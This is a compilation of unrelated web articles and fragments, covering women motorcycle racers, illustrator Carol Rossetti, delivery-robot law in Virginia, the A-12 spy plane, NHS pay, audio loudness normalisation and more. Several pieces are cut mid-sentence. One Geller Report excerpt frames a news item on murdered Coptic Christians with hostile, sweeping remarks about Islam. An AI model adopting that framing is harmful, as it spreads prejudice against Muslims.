Female motorcycling pioneers Ana Carrasco (Spain, 17): Currently the only female rider in Moto3 and the first to score points in the series Jenny Tinmouth (UK, 36): The only woman to compete in the 2014 BSB Championship and female Isle of Man TT lap record holder Mara Herrera (Spain, 18): Currently competing in Spanish Moto3 feeder series and received a Moto3 wildcard in 2013 Maria Costello (UK, 41): First woman to secure podium finishes at Isle of Man TT and Manx Grand Prix Laia Sanz (Spain, 28): Women's World Enduro champion and 13-time winner of the Women's Trial World Championship Elena Myers (US, 20): The first woman to win an AMA Pro Racing sprint road race and a pro race of any kind at Daytona
"Georgina's progress will shock some people because it's still a very male-dominated sport," says Polden's childhood friend and MotoGP rider Bradley Smith, who grew up riding motocross bikes with Polden's older brother Craig before following him into circuit racing.
"But there are female crew chiefs in MotoGP, female data engineers and female riders doing well in Moto3 [Spain's Ana Carrasco became the first woman to win points in circuit racing's third division last year at the age of 16, while her compatriot Maria Herrera won a race in the Spanish Moto3 Championship]. So now is the time.
"When you're wearing your leathers and a helmet, you're just a number. But if a woman is doing the same lap times as a man, from a sponsorship and marketing point of view it makes more sense to have the woman in the team.
"Dani Pedrosa is 5ft 2in and eight stone wringing wet. So if Georgina, or any woman, works hard and believes in herself there's no reason why she shouldn't be able to make it to MotoGP." (Shane 'Shakey' Byrne, Three-time BSB champion.)
"People who haven't got involved in our sport in the past might if there was a successful woman battling it out at the front. That's got to be good for our sport."
BSB series director Stuart Higgs believes motorcycling leads the way in promoting gender equality. But he also acknowledges that women riders have an advantage over men with similar talent.
"Only one woman has tried to qualify for a Formula 1 Grand Prix since 1980 [Italy's Giovanna Amati in 1992] and that shows how archaic motorsport has become," says Higgs. "But in motorcycling there have been many examples in recent years of female riders who have got to a good level quickly but for whatever reason not managed to get to world championship level.
"If you're a minority in any sport you're going to get more media coverage and you might get places quicker. But it's a competitive world, so go with the advantages you have. And anything to do with our sport that is of human interest and might reflect well on society generally, we're going to encourage it."
Whether women racers posing in not a lot reflects well on society - or on the status of women within society - is open to question. But this hasn't stopped Formula 1 hopeful Susie Wolff and Nascar driver Danica Patrick from doing just that. However, Polden is adamant she will not be heading down that road any time soon.
"I just want to be treated like everyone else," says Polden. "Posing in men's magazines wouldn't really do it for me."
Everyone I spoke to for this story stressed that MotoGP is a significantly more serious examination than the series Polden is currently competing in: MotoGP bikes weigh 160kg and deliver 260 horsepower, compared to 80kg and 50 horsepower in Moto3. But this is not to say that Polden, or another woman, would not be able to make the transition.
Spain's Ana Carrasco became the first woman to win points in Moto3 last year, at the age of 16
"Years ago you might have said women wouldn't be able to compete in MotoGP," says three-time BSB champion and former MotoGP competitor Shane 'Shakey' Byrne. "There was all this talk about MotoGP bikes being absolute animals that were going to kill you at every corner.
"But [Spanish MotoGP veteran] Dani Pedrosa is 5ft 2in and eight stone wringing wet. So if Georgina, or any woman, works hard and believes in herself there's no reason why she shouldn't be able to make it to MotoGP."
Smith believes Polden's grounding in motocross, which she competed in from the age of 12, has given her an edge. "A lot of top racers have come from off-road backgrounds," says Smith. "Because the bike is always moving around off-road, up and down hills and in mud, you have to learn a lot of control and feel, and you can transfer that into road racing."
Polden's dad Steve owns a motorcycle shop in Kidlington and funds what is essentially her hobby. There is no prize money on the lower rungs of the motorcycling ladder, Polden pays Saxelby for the privilege of riding his bike and a meeting might cost as much as £1500 all in.
The 18-year-old Polden has been mentored by childhood friend and MotoGP rider Bradley Smith
But while Polden Sr would love to see Georgina break new ground, and perhaps get some return on his significant investment, he is also winningly realistic.
"I can't see why she couldn't make it to MotoGP," says Polden Sr, over tea and biscuits in the family campervan.
"But we haven't got too much time, she's 18 and it's a short career. There's only so much pushing you can do, and I'm not a pushy dad. And I'd be more comfortable for her to ride in the lighter classes, so we're able to keep her safe."
Some people might view the words of Polden Sr as further proof that girls often fail to fulfil their potential because they are held back by a lack of expectation, while boys often achieve because they are expected to.
Steve Polden, Georgina's Dad, comments on Georgina's potential "I can't see why Georgina couldn't make it to MotoGP. But I'd be more comfortable for her to ride in the lighter classes, so we're able to keep her safe."
But the tail of excellence in the motorcycling world is long, meaning that even if Polden does not reach the pinnacle, she hasn't necessarily failed. Just as fellow Englishwoman Jenny Tinmouth hasn't failed in motorcycling by making it all the way to British Superbikes and regularly competing in the Isle of Man TT.
"Not many make it to the elite level, but there are plenty of other ways to make a living in motorcycling," says Smith, who secured his first MotoGP podium finish in Australia last Sunday.
"There is World Superbikes, BSB, the Endurance World Championship, a lot of riders have come through from the Italian and Spanish championships.
"Georgina has been winning races with no real experience, practice or testing so there's no reason she can't win a British championship and maybe make it into Moto3. There's plenty more to come from Georgina."
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a sense of pride for the work you did and for what it became. No one else will notice the mistakes, or if they do, they will be too polite to tell you. Doubtless, in a few days, you will start to feel the need to begin a new piece of furniture, so in the meantime, sit back and kick your feet up on your awesome new coffee table.
Thanks to Silas and David for sharing this awesome DIY mid-century coffee table with us, and to Quarry Books for connecting us. Pick up your copy of The Art and Craft of Wood today.
Tagged:Story highlights Graphic designer Carol Rossetti draws images of women as a personal project
The unnamed project now has an international audience of more than 83,000 on Facebook
Rossetti says she's surprised by the popularity, and will continue the project
In April, Carol Rossetti began a personal project to continue practicing her drawing technique, "while saying something worthy."
With some paper found in her office in Belo Horizonte, Brazil, and an old box of colored pencils, the 26-year-old graphic designer began sketching. Four months later, her unnamed project's Facebook page has attracted more than 83,000 likes, a Tumblr page and an international following.
The drawings feature images of women and girls with commentary on topics including weight, hair, clothes and sexuality. The images take about two hours to create; the commentary is first written in Portuguese, and volunteers take on the delicate translations in English, Spanish, Hebrew and other languages.
"Ana was raped," says an image of a woman clutching her knees. "Ana, you are not alone. It's not your fault. This experience is not what defines you as a human being. You are so much more than this."
"Helena avoided wearing high heels because everybody told her she would be too tall," one image says. "Then, Helena tried on the Louboutins and has never ever wanted to take them off."
"Babi is 7 years old. Her parents found it a bit odd that she chose to take karate instead of ballet," says one drawing of a girl with a ponytail and in the middle of a high kick. "Babi, gender conventions should never limit your identity! You can do whatever you want!"
Rossetti said she had no idea her art project would spur a global response.
"Your art is brilliant," Madhumita Hota wrote from India on Facebook. "I loved reading your descriptions as well. Well done."
"I love your work and don't mind waiting for the translations," Paige Hayley Wren commented from the United States. "I love what you have to say and I think it's commendable that you are so careful with translations and so sensitive to/aware of using positive language."
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Photos: Humans of New York Photos: Humans of New York "I'm homosexual and I'm afraid about what my future will be and that people won't like me," reads the caption in this photo featured in popular photo blog, Humans of New York. The photo was shared widely, prompting Hillary Clinton to offer words of comfort. Browse the gallery for more images from Humans of New York Hide Caption 1 of 8 Photos: Humans of New York Vidal Chastanet, 13, praised his principal in a post featured in Humans of New York in February. The picture went viral, prompting Humans of New York creator Brandon Stanton to find out how he could help Mott Hall Bridges Academy in Brownsville, Brooklyn. The story led President Barack Obama to request a meeting with Chastanet. Naturally, he obliged. Hide Caption 2 of 8 Photos: Humans of New York "Just to let you know, I'm out here promoting my company. I know you wanted my photo because you thought I was a grown-ass man sitting around with a puppet." Hide Caption 3 of 8 Photos: Humans of New York "I'm sorry, he's kind of shy." Hide Caption 4 of 8 Photos: Humans of New York "I'm a photographer."
"What do you photograph?"
"Myself." Hide Caption 5 of 8 Photos: Humans of New York "The Storm Bringer" Hide Caption 6 of 8 Photos: Humans of New York "To them, I'm mama." Hide Caption 7 of 8 Photos: Humans of New York "Is that you?"
"Kinda." Hide Caption 8 of 8
Rossetti hopes to establish an online shop to make the popular illustrations available as prints. For now, she said, she'll continue working with volunteers to translate the illustrations into several languages.
In an e-mail interview, Rosetti explained more about her images and why they're reaching an audience around the world. Her edited answers are below.
CNN: How do these illustrations reflect who you are? Is there an illustration that is personally relevant for you, or that you drew from personal experience?
Rosetti: I think they obviously define how I feel about many things, especially concerning the representation of people. Most of them were based on people I know, that are close to me.
For example, my mother who has white hair, and I think it's gorgeous, but still many people tell her to dye it. In the end, I can relate to most of them, because they are all about the control over women's bodies, and I live that every day.
Whenever I see a newspaper criticizing a woman's appearance, it's like saying that every woman in every occasion can and will be evaluated by her looks. Doesn't really matter if she's receiving a Nobel Prize or saving people from drowning, papers will talk about her poor choice of shoes or a nip slip.
CNN: How would you describe your illustrations and the response to them? What has surprised you about the response?
Rossetti: I think the point of my illustrations is to show, in a gentle and nonaggressive way, that there is still a lot of oppressive control over women's personal choices and identities, and expose a problem of representation toward women, people of color, people with disabilities, (LGBT concerns) and so on.
I was really surprised with such huge success, the way people shared my illustrations. I really wasn't expecting that. I fight prejudice in so many ways, and that doesn't mean I don't still have some of my own. I was surprised to see so many people that I thought would be very conservative sharing my work, and thanking me for doing it.
Sometimes we stumble on our own expectations, and sometimes that's a good thing.
CNN: Are there any posts or illustrations that have had a particularly passionate response from the community? What was it, and why do you think it struck a nerve?
Rossetti: Many people have thanked me for the one about Many people have thanked me for the one about Ana being raped, saying that my words somehow helped them through a hard time. Honestly, there's nothing as rewarding as that.
Some people told me they finally got the courage to wear high heels after they saw the picture of Helena. That's really amazing, (and) makes me so so happy! Of course, the one about abortion had also some angry comments, but that was expected.
CNN: You deal with a lot of delicate topics. How do you choose which topics you illustrate? How has your approach to the project evolved since you began?
Rossetti: I have some topics I'd like to discuss on a list, but people are now sending me amazing suggestions from all over the world. It's fantastic, I think I'll never end this project.
At first, I was thinking about feminism. But now I'm talking about so many other things, like racism, ableism, homophobia, transphobia.... People are happy to feel represented, and I'm happy that, even in a minor scale, I am being able to do that.
CNN: What has been surprising about this experience?
Rossetti: I guess I was positively shocked by the amount of people who are eager to see a wider representation of the human being. Many people told me how happy they were to see a person in a wheelchair when the topic in discussion was not the disability. That's representation. And it's great!They're not quite the Mars rover, but these Earth-based robots provide a service of a different sort: delivery. London-based Starship Technologies, already piloting robot delivery services in the District of Columbia and Redwood City, California, and elsewhere across the globe, has now won that right in Virginia. Come this summer, the Old Dominion state will be the nation's first to codify the rights of the so-called "electric personal delivery device." Idaho, Florida, and other states are also mulling legislation similar to the robot package Virginia Gov. Terry McAuliff just signed.
These wheeled robots—or call them land-based drones if you want—have a clear leg up on aerial-drone delivery services envisioned by Google, Amazon, and others. Air delivery brings with it a more scrutinized regulatory process and heightened safety standards. Research firm Gartner said in a report last month that drone delivery "will not be a major factor for several years."
But the sidewalk-based drone delivery market, however, appears to be shifting into gear, or at least into first gear. Take a look at Virginia's definitions and rules for personal delivery robots, which apply to all companies, not just Starship Technologies:
"Electric personal delivery device" means an electrically powered device that (i) is operated on sidewalks, shared-use paths, and crosswalks and intended primarily to transport property; (ii) weighs less than 50 pounds, excluding cargo; (iii) has a maximum speed of 10 miles per hour; and (iv) is equipped with technology to allow for operation of the device with or without the active control or monitoring of a natural person. "Electric personal delivery device operator" means an entity or its agent who exercises direct physical control or monitoring over the navigation system and operation of an electric personal delivery device. For the purposes of this definition, "agent" means a person not less than 16 years of age charged by an entity with the responsibility of navigating and operating an electric personal delivery device. "Electric personal delivery device operator" does not include (i) an entity or person who requests the services of an electric personal delivery device to transport property or (ii) an entity or person who only arranges for and dispatches the requested services of an electric personal delivery device.
Starship Technologies' robots already fit the bill. They travel at a pedestrian speed, can alert passersby of their presence, and can deliver items within about a 2-mile radius. They weigh under the 50-pound limit. When these robots arrive at your door, you get a text message and a link that will also unlock the cargo bay, which can hold about 20 pounds of goods and is the size of about three grocery bags.
Customers can also monitor their delivery on their mobile phones. And, under the Virginia law, the robots at a minimum must be remotely monitored, which Starship says it can do. Starship says it maps out service areas and, by doing so, its robots know where they are within an inch.
Henry Harris-Burland, a company spokesman, told Ars that the delivery process works the same as it does with human delivery persons, but with one caveat. "The only difference," he said, "is a robot will come up and deliver your food."
Also competing in this space are companies like Marble and Dispatch.
But Starship, built by Skype founders Ahti Heinla and Janus Friis, appears to be leading the pack. In January, Daimler led a $17.2 million funding round for the startup, whose camera- and sensor-laden robots can also keep goods hot and cold.
Let's pray that these delivery robots don't become self-aware and drink your beer en route to your house.
Listing image by Starship TechnologiesHi! I'm wondering what do you think about the mother-son dynamic between mako and lin? Maybe not exactly mother and son but you probably know what i mean. In season 4 they're so close!
it’s adorable, in a kinna maternal way but also just like, IT’S NICE THAT LIN HAS A FRIEND. I assume and hope that she’s supposed to get on well with the rest of the police lol, but within Team Avatar it’s nice to have someone she’d get along with because their normally offputting personalities work together. It’s nice for her to be connected to someone in team avatar who isn’t Tenzin. I hope they expand on it. On the more meta side of things it’s also cool having a young guy who’s mentor is an older woman.
also mako doin the look last ep was great.Defense Visual Information Center (DVIC)
Archangel.
At first glance, it looks like the SR-71 Blackbird but if you look close enough you’ll see the differences. Based on designs by aviation Guru Clarence “Kelly” Johnson the Lockheed A-12 was built in 1962 and operated as a reconnaissance aircraft for the CIA. Able to reach speeds of Mach 3.2 and using early stealth technology, it was tested under extreme secrecy at Groom Lake Air Force Base, an area more commonly known as Area 51.
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The testing at Area 51 included anti-radar studies, aerodynamic structural tests, and engineering designs. Six of the fifteen A-12 jets ended up having accidents, witnesses to these crashes were paid amounts around $25,000 each and threatened with “dire consequences” should they speak about the incident. This no doubt gave rise to the UFO conspiracy theories that surround Area 51 to this day.
Testing found that jets reaching Mach 3.2 were likely to melt at those high speeds. The only metal capable of enduring such heat was titanium which had to be purchased from the Soviet Union through fake companies in order to avoid suspicion.
“Our supplier, Titanium Metals Corporation, had only limited reserves of the precious alloy, so the CIA conducted a worldwide search and using third parties and dummy companies, managed to unobtrusively purchase the base metal from one of the world’s leading exporters – the Soviet Union. The Russians never had an inkling of how they were actually contributing to the creation of the airplane being rushed into construction to spy on their homeland.” – Ben Rich (Director Director of Lockheed’s Skunk Works)
The A-12 was deployed for missions over Vietnam and North Korea but was retired after only a year of service. Many would argue that the A-12 was superior to its successors but sadly it didn’t have the time to prove itself. Test footage of the A-12 at Area 51 is hard to come by but a few of clips have surfaced and have compiled into a short video seen here.ROME — The Vatican once dismissed reports of massacres by Chilean dictator Augusto Pinochet as “Communist propaganda”, according to US diplomatic and intelligence documents from the 1970s leaked on Monday.
One cable dated October 18, 1973 sent to Washington by the US embassy to the Holy See relayed a conversation with the Vatican’s then deputy Secretary of State, Giovanni Benelli, the leak by whistleblowing website WikiLeaks showed.
Benelli expressed “his and the pope’s grave concern over successful international leftist campaign to misconstrue completely realities of Chilean situation,” read the cable to then US Secretary of State Henry Kissinger.
“Benelli labelled exaggerated coverage of events as possibly greatest success of Communist propaganda,” it said, adding that the Italian monsignor said this showed “how Communists can influence free world media in future”.
“As is unfortunately natural following coup d’etat, Benelli observed, there has admittedly been bloodshed during mopping up procedures in Chile,” it said.
But Benelli went on to say that Chilean bishops had assured him “that stories alleging brutal reprisals in international media are unfounded.”
The conversation took place five weeks after army general Pinochet took power in a coup that overthrew the socialist regime of Salvador Allende, as thousands of perceived leftist sympathisers were being imprisoned and killed.
The cables also showed the Vatican later realised the full extent of the abuses being carried out but refused to criticise Pinochet’s regime openly and continued with normal diplomatic relations.
——
Photo: AFP.Last we heard about the embattled tenants of 1049 Market Street, the remaining group of them who have not moved of their own accord (it remains unclear just how many there are, but it's at least several dozen) were suing landlord John Gall over issues of disrepair and lack of security in the building ever since the talk of eviction arose last fall. As of yesterday, the tenants won a fresh reprieve when Gall decided to withdraw an appeal he had filed over the suspension of his demolition permit.
A protest was planned today on the steps of City Hall ahead of Gall's appeal hearing.
Gall's permit, which would have allowed him to knock out walls between the 75 SRO-style units in the building in order to convert the building back to its former office use, was suspended after city building inspectors did a recent tour of the building and decided they had discretion to require Gall to install light wells between interior units an extremely costly renovation that Gall has said is not economically feasible.
At issue, you see, is that some percentage of units in the building are not legal dwelling units because they have no windows, something that the Department of Building Inspection has known since 2007, and something Gall was perhaps banking on in allowing him to convert the building to much more lucrative office use. Tenants in the building, many of whom pay less than $1000 for studio units with small kitchenettes and shared bathrooms, range in age from their 20s to their 60s, and some have lived there 10 years or more. The building was converted to live-work units in the late 90s by a former landlord, and all the units at the front and rear, with windows, remain legal units.
With the help of the Housing Rights Committee and Supervisor Jane Kim, the tenants who did not accept $5,000 lump sum relocation payouts were able to get the eviction process halted temporarily in November, and now Gall's battle with DBI and the City will likely be going on for many months. He picked a bad time, politically, to try to remove 75 affordable housing units from the market.
Previously: Mid-Market Tenants Suing Landlord To Counter Eviction
Mass Eviction On Mid-Market Put On Hold Pending Planning ReviewNuno Gomes: Set for Blackburn deal
Sky Sports understands that veteran Portuguese striker Nuno Gomes has arrived in England for a medical at Blackburn Rovers.
Gomes, who will turn 36 this week, is available on a free transfer after leaving Braga.
He is now set to sign a two-year deal at Ewood Park, subject to him passing his medical with the Lancashire outfit.
Rovers, who have already landed Danny Murphy and Leon Best this summer, are believed to be lining up a number of Portuguese deals.
As well as Gomes, they are understood to be in talks with 19-year-old winger Fabio Nunes, who spent last season on loan at Parma from Portimonense.
And a third Portuguese deal is on the cards as they also look keen to sign Sporting Lisbon midfielder Adrien Silva.Xbox keeps getting better with more new features coming to preview this month for both Xbox One consoles and the Xbox app on Windows 10. We’re making the Xbox app more social, while also giving you more control over your Xbox experience. Also, this month we are delivering several new fan-requested features to the Xbox One console and Xbox One SmartGlass.
Xbox on Windows 10
Let’s take a closer look at what’s coming to Xbox on Windows 10 with this month’s Xbox app preview and Windows Insider updates from the Windows team. We know you love recording and sharing game clips and screenshots, so this month we spent time enabling that feature on Windows 10.
Game DVR for PC games – The Game bar lets you record game clips of your favorite Windows games.
Screenshots – Take screenshots of Windows PC games by pressing Windows + Alt + PrtScr. Just as with Game DVR, you can also do this by clicking the “Screenshot” button on the Game bar.
Live Tiles – The Xbox tile on your Windows 10 start menu now welcomes you back, showing off your gamerpic and letting you know when you have new messages and activity alerts.
Avatar app – A new app is available in the Windows Store to customize your Xbox avatar’s appearance and outfit your avatar with a vast collection of items.
User profile – You can see another gamer’s bio, location, reputation, tenure, and other information in the more info page, including their animated avatar.
Real name sharing – Similar to the features we brought you in the March update on Xbox One, you can now choose to share your real name on the Xbox app with all of your friends or with everybody.
In addition to keeping you connected to your games and friends, we’re giving you even more control over the Xbox experience on Windows 10.
Xbox One Now Playing and media controls – The games and apps you’ve used most recently on your Xbox One are now displayed when you connect the Xbox app to your console. You can also use the Xbox app to pause, fast forward and rewind.
Live TV streaming and PIP (picture in picture) support – For preview members with an Xbox One Digital TV Tuner (in 16 European countries and Australia) or a Hauppauge 955Q TV Tuner (available in the U.S. or Canada) attached to their Xbox One, you can now stream live TV within your home from your Xbox One to Windows 10 PC running the Xbox app.
Xbox controller drivers – The drivers for Xbox controllers are now included with Windows 10, so you no longer have to download and install controller drivers on Windows 10.
The Xbox app will automatically update to the April preview version when it becomes available in the Windows Store. Once you receive the update, your version number should be 4.4.9014.0 or higher. You can verify the version number of the Xbox app in Settings.
Xbox One and SmartGlass updates
The Xbox team continues to work hard to bring the many fan-requested features on the Xbox Feedback site to Xbox One and Xbox One SmartGlass, with the following items being available to preview members this month:
Over-the-air TV for the U.S. and Canada – Earlier this month, we announced the preview for an Over-the-Air Tuner for the U.S. and Canada.
Power on and off from Xbox One SmartGlass – The beta versions of the Xbox One SmartGlass apps for Windows, Windows Phone and Android will be updated to let you turn your Xbox One on and off.
Wireless Display app – Try the Wireless Display app to cast photos stored on your phone to your Xbox One, or to stream non-protected video content from your PC to your Xbox.
User-selectable power mode – Select your preferred power mode, either Instant-on or Energy-saving mode.
Voice messages – The ability to send and receive voice messages from the Xbox One messages app continues in preview this month.
For more details about each of these features, check out the full story at Xbox Wire. And stay tuned for more great Xbox features coming your way on Xbox One and the Xbox app on Windows 10.
Don’t forget to let us know what you think at Xbox Feedback.Here’s the thing – nobody cares in the era of the savage. It’s barely news.
First and foremost – Respect Islam. Respect it!
Libya recovers remains of 21 beheaded Coptic Christians October 7, 2017, DW.com (thanks to Orange Martyrs): “Islamic State” militants reportedly carried out the execution-style killings in early 2015. A detained IS militant who witnessed the mass murder clued in authorities to the site. Libyan authorities have recovered the remains of 21 Coptic Christians who were beheaded by so-called “Islamic State” (IS) militants more than two years ago, the anti-IS organization al-Bonyan al-Marsous announced Saturday. The gruesome discovery was made in the seaside city of Sirte — the home town of former dictator Moammar Gadhafi, who was toppled in 2011. A statement said officials were led to the site by an IS militant who had witnessed the attack in early 2015. The witness, who was under arrest, gave authorities details about the mass execution and identified the militants involved. Found with hands cuffed The beheaded bodies were found with their hands cuffed behind their backs. Twenty of the victims were from Egypt and one was of an unknown African nationality. The remains were being moved to Libya’s western city of Misrata for forensic examinations, according to a statement from the state’s Combat Crime Department. IS militants released a video in February 2015 claiming to show the beheadings of the men, who were expatriate workers from Egypt’s minority Christian sect. Egypt responded to the news of the mass execution by launching airstrikes against suspected militant positions in Libya. Libya’s UN-backed government regained control of Sirte last December. Libya descended into anarchy after Gadhafi was overthrown. The IS jihadis seized on the anarchy to carve out a niche for themselves in the oil-rich country.
The Truth Must be Told Your contribution supports independent journalism Please take a moment to consider this. Now, more than ever, people are reading Geller Report for news they won't get anywhere else. But advertising revenues have all but disappeared. Google Adsense is the online advertising monopoly and they have banned us. Social media giants like Facebook and Twitter have blocked and shadow-banned our accounts. But we won't put up a paywall. Because never has the free world needed independent journalism more. Everyone who reads our reporting knows the Geller Report covers the news the media won't. We cannot do our ground-breaking report without your support. We must continue to report on the global jihad and the left's war on freedom. Our readers’ contributions make that possible. Geller Report's independent, investigative journalism takes a lot of time, money and hard work to produce. But we do it because we believe our work is critical in the fight for freedom and because it is your fight, too. Please contribute to our ground-breaking work here.
Make a monthly commitment to support The Geller Report – choose the option that suits you best. Contribute Monthly - Choose One Subscriber : $18.00 USD - monthly Contributor : $36.00 USD - monthly Patron : $50.00 USD - monthly Silver member : $100.00 USD - monthly Gold member : $250.00 USD - monthly Platinum member : $500.00 USD - monthlyNHS workers will have had their pay cut by 12% by the end of the decade because of a government-imposed wage restraint that is now exacerbating chronic understaffing, new research reveals.
The 625,000 health service staff who earn at least £22,000 will have seen their income fall by 12% between 2010-11 and 2020-21 as a result of years of below-inflation 0% and 1% pay rises eroding their spending power, according to a report by the Health Foundation thinktank
The real-terms drop in pay will hit NHS personnel across the UK who are on band five or above in the service’s pay scales, which includes all 315,000 nurses. The Royal College of Nursing’s 270,000 members are currently being polled on whether they should strike – for the first time in their history – in protest at the government holding down their pay by limiting rises to 1% every year until 2020.
Staff salaries have already been cut by 6% since the coalition came to power in 2010, more than the 2% seen across the economy as a whole in that time, the report found. Midwives have seen their pay shrink by 6%, but doctors and health visitors have been hit by 8% and 12% drops respectively.
The Health Foundation also found that England could face a shortfall of 42,000 nurses by 2020, and almost half of all nurses believe that current staffing levels are already dangerously stretched.
Staff pay has fallen back so much that it is now causing major problems, the thinktank said. “The current phase of national NHS pay bill control began at a time of economic recession, with low inflation and high unemployment. However, this is increasingly being replaced by greater numbers of staff shortages and the likelihood of higher inflation.” It adds: “Having contained NHS staff earnings growth in recent years, UK governments now face a situation where recent trends and future projections highlight that earnings in the broader economy are growing more rapidly, and inflation is at a level that will erode the purchasing power of NHS staff.”
Facebook Twitter Pinterest Thousands of nurses are projected to leave the profession. Photograph: David Sillitoe for the Observer
NHS pay caps have gone as far as they can, but are no longer sustainable and should be replaced, argued the thinktank: “The need for staffing growth, internal skills shortages, the search for productivity improvements, the ageing of the NHS workforce, and external labour market changes and unknowns – for example, the impact of Brexit on NHS staffing – all point to the need to better align the total reward package of NHS staff with organisational priorities.”
The likelihood of inflation being around 2-3% and workers generally receiving 3% pay rises means NHS staff’s earnings will continue to decline, the thinktank believes. “This means that NHS pay is likely to continue to reduce relative to both inflation and the wider economy over the period. Health unions said the findings vindicated their warnings that wage control had been applied for so long that it was prompting staff to quit and potential recruits to choose to pursue other careers.
“Nurses should not have to fund the NHS deficit from their own pay packets. Every year that the government holds NHS pay below inflation, hundreds of thousands of nurses get another real-terms cut to their salary. Too many are struggling to make ends meet, turning to food banks and hardship grants in desperation,” said Janet Davies, the RCN’s chief executive and general secretary.
The government pay cap is fuelling a recruitment and retention crisis that is also damaging patient care, she said. “A growing number feel they can no longer afford to work in the profession and others are deterred from joining by the meagre pay on offer.”
She called on Jeremy Hunt, the health secretary, to scrap the 1% pay cap that the government has already said it intends to impose on public-sector workers until 2020. The NHS has about 25,000 nursing vacancies lying unfilled across the UK, especially in hospitals, the RCN estimates.
Brexit could make NHS shortage of nurses worse, says report Read more
Anita Charlesworth, director of research and economics at the Health Foundation, said: “By 2019, people working for the NHS will have had their pay capped for nine consecutive years. The result is that earnings will have fallen by at least 12% over a decade when accounting for inflation. The NHS doesn’t have enough nurses and is struggling to retain staff. As earnings across the economy pick up, the government can’t continue to hold down pay indefinitely and secure the workforce the NHS needs.”
The Conservatives dismissed the findings. “We disagree with these figures. They speculate on future pay awards, which are based on independent recommendations. Investment in our NHS, in additional staff and indeed in their overall pay is founded on the strong economy only Theresa May and the Conservatives can provide,” a party spokesman said.OGDEN — It's been 29 years since Travis Campf was able to move his own body. Back on June 3, 1987, the car he was in was hit by a drunk driver.
“She hit us on the side of the car, the car wrapped around Travis. It broke his neck,” said Lorrie Campf, Travis’ mother.
The crash paralyzed him from the neck down when he was just 7 years old. His family, especially his mother, was devastated by the news.
“He needed 24/7 care. I went through some classes at Primary Children’s and they said he should be put in a nursing home and I said, ‘No,’” Campf said.
To care for him at home, Lorrie couldn’t work a traditional job.
In 2006, she borrowed money against the home to pay for other bills but ended up losing it altogether, leaving the family homeless.
“I tried to provide for them where I could, when I could but that’s when Anthony was my knight,” Campf said as she laughed.
Anthony Marler bought the home for $75,000 in 2007. He did it as an investment but quickly changed his mind when he learned about the family's condition.
“We've bought a lot of houses and yeah, this one is very unique,” Marler said. “We've done our best to treat it special and make sure that [the Campf family] stays here.”
He now rents the home to them, just enough to cover the mortgage.
Just two months ago he had an offer on the house but decided not to sell.
He has 23 years left on the mortgage but said each month when the family pays rent from their Social Security check, what’s left is barely enough to make ends meet.
So now he’s asking the community, through a GoFundMe* page, to donate what they can to pay off the house.
“A mother who has spent 29 years by this kid’s bedside, taking care of him, you know, I think if anybody else does that, we'll try to give them their house for free,” Marler said.
*KSL.com does not assure that the money deposited to the account will be applied for the benefit of the persons named as beneficiaries. If you are considering a deposit to the account, you should consult your own advisors and otherwise proceed at your own risk.
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PhotosWhat is Loudness Normalisation?
There is a lot of confusion around the topic of loudness normalisation in the audio community.
Even some reputable music producers have had the wrong idea when posting tips to their facebook page.
Fortunately, this infographic nails it. It single-handedly explains the current state of loudness normalisation and it just happens to come from highly reputable Pro Mastering Engineer Ian Shepherd.
Loudness normalisation is my favourite topic of the moment, simply because it is why the loudness wars are over.
Why is it over?
Because no matter how much you squash your song, it’s only going to end up just as loud as everything else.
So the platforms are compressing audio?
No. When the platform analyses your audio using their means of doing so, they normalise music to reach their target loudness using a simple gain movement. You can actually test this at home. You only need iTunes and some songs in your library. Simply open iTunes’ preferences, turn Soundcheck on and listen to a bunch of different music. When you listen to those songs, click Get Info on that song (Right-click), click File, and see what the ‘volume’ reading is. That number (in decibels) is the amount of gain they applied to that song to get it to their target level. Examples below.
As you can see from the above example, with Soundcheck on iTunes actually turned this one down by 6dB to reach the target level. This theoretically means that the song lost 6dBs of dynamic range in the mastering process, but is now only as loud as everything else is on playback.
So you’re saying Deadmau5 was wrong?
Absolutely not! I love Deadmau5 as much as anyone else. The only point that I am making here is that if he mastered this song now, he wouldn’t necessarily need to apply so much compression for the sake of loudness. However, loudness is a sound in itself. His reasoning for doing so could have been just as much an artistic thing as much as a practical loudness thing. The point is, if you are running your song into a limiter, you could be losing dynamic range unnessarily if the only goal is to be loud. If you are compressing it because you like the sound of that, then by all means!
But I don’t use Soundcheck!
Neither do I. However, the platforms are adopting loudness normalisation. Soundcheck is just iTunes’ loudness normalisation process. It’s just an example you can try easily at home.
So all the hard work I did will be for nothing?
Depends on your mindset. If the only reason you did that hard work in the first place was because of the now old narrative that your song has to ‘compete’ with everyone else’s, then it makes sense that you might think so. The mindset now should be that you don’t have to worry so much about making it loud because loudness normalisation will take care of that anyway (to an extent). Meaning you can make more dynamic masters without the fear of it sounding too quiet.
So I don’t need mastering?
Incorrect. You actually need mastering now more than ever. The role of the mastering engineer now will be what it always was before all of this, which is making masters that translate. Today’s mastering engineer is on the pulse about this stuff which is still quite new and not necessarily set in stone.
So where is all of this information?
As promised in the title of this blog, the below infographic is the best way to familiarise yourself with the current situation. You could also do a lot worse than to keep an eye on Ian Shepherd’s blog to stay up to date. Or you can just hire a mastering engineer if you don’t want to think about all of this. I wouldn’t blame you at all! If you are mastering at home, this tutorial should help arm you with the know-how of what to be aiming for and how to achieve it.
UPDATE 19/05/17: It seems Spotify have lowered their target level to around -14 LUFS integrated which I tested sing a Metallica song. Others have confirmed also.
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Sharing is caring!English [ edit ]
Etymology [ edit ]
From Ancient Greek ἀνά (aná, “against”) and τόπος (tópos, “place”); apparently by analogy with anachronism.
Noun [ edit ]
anatopism (plural anatopisms)
( rare ) A thing that is out of its proper place; the geographic counterpart to anachronism. A war elephant described rampaging through Tenochtitlan in a novel about the Aztec Empire would be an anatopism.
Quotations [ edit ]
1836 : Samuel Taylor Coleridge, Henry Nelson Coleridge, Esq., M. A., ed, The Literary Remains of Samuel Taylor Coleridge [ … ] and can find no associates in size at a less distance than two centuries; and in arranging which the puzzled librarian must commit an anachronism in order to avoid an anatopism.
: Samuel Taylor Coleridge, Henry Nelson Coleridge, Esq., M. A., ed, 1912 : Augustus Hopkins Strong, Miscellanies There is no anachronism in putting them together; it |
from New Zealand and Senegal - two of four countries that sponsored the resolution - and had stopped Israeli aid to Senegal.NASA's Kepler mission has discovered two new planetary systems that include three super-Earth-size planets in the habitable zone. Courtesy: NASAexplore
EARTH-like planets are a common trope in science fiction, cropping up as frequently as zappy laser guns. From Star Trek to Doctor Who, characters always seem to land on planets which support human life.
But finding Earth-like planets has been a tough ask for astrophysicists. Many exoplanets discovered to date are just desolate chunks of cold rock, or worse - gas giants.
